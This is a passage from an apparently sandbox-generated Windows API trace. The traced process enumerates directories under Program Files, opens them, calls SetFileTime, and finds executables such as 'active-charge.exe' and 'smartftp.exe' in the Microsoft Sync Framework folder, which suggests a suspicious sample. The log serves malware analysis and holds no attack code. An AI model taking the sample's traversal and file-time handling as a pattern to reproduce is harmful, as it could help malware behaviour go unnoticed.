[0079.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.977] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="")) returned 1 [0079.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.978] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="")) returned 1 [0079.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.979] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="")) returned 1 [0079.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.979] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="")) returned 1 [0079.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.980] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="")) returned 0 [0079.980] GetLastError () returned 0x12 [0079.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0079.980] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0079.981] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.981] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0079.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0079.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.981] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0079.981] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.982] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.982] NtClose (Handle=0x16c) returned 0x0 [0079.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0079.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0079.983] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0079.983] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.983] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.983] GetLastError () returned 0x12 [0079.983] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0079.983] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0079.983] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.983] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.983] GetLastError () returned 0x12 [0079.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0079.983] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0079.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0079.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="")) returned 1 [0079.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="")) returned 1 [0079.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="")) returned 1 [0079.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="")) returned 1 [0079.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="")) returned 1 [0079.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="")) returned 1 [0079.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="")) returned 1 [0079.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="")) returned 0 [0079.984] GetLastError () returned 0x12 [0079.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0079.984] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0079.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.985] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0079.985] GetLastError () returned 0x12 [0079.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0079.985] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0079.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0079.986] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="")) returned 1 [0079.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0079.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.986] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0079.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.987] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0079.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.987] NtClose (Handle=0x168) returned 0x0 [0079.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0079.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0079.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0079.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0079.988] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9040 [0079.988] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.988] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x168b54c0, ftCreationTime.dwHighDateTime=0x1d53ecf, ftLastAccessTime.dwLowDateTime=0x37fbb6a0, ftLastAccessTime.dwHighDateTime=0x1d58cda, ftLastWriteTime.dwLowDateTime=0x37fbb6a0, ftLastWriteTime.dwHighDateTime=0x1d58cda, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="")) returned 1 [0079.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.989] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61da4e0, ftCreationTime.dwHighDateTime=0x1d56241, ftLastAccessTime.dwLowDateTime=0xdf7fb440, ftLastAccessTime.dwHighDateTime=0x1d5ac05, ftLastWriteTime.dwLowDateTime=0xdf7fb440, ftLastWriteTime.dwHighDateTime=0x1d5ac05, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 1 [0079.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.990] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0079.990] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0079.990] GetLastError () returned 0x12 [0079.990] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0079.990] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | 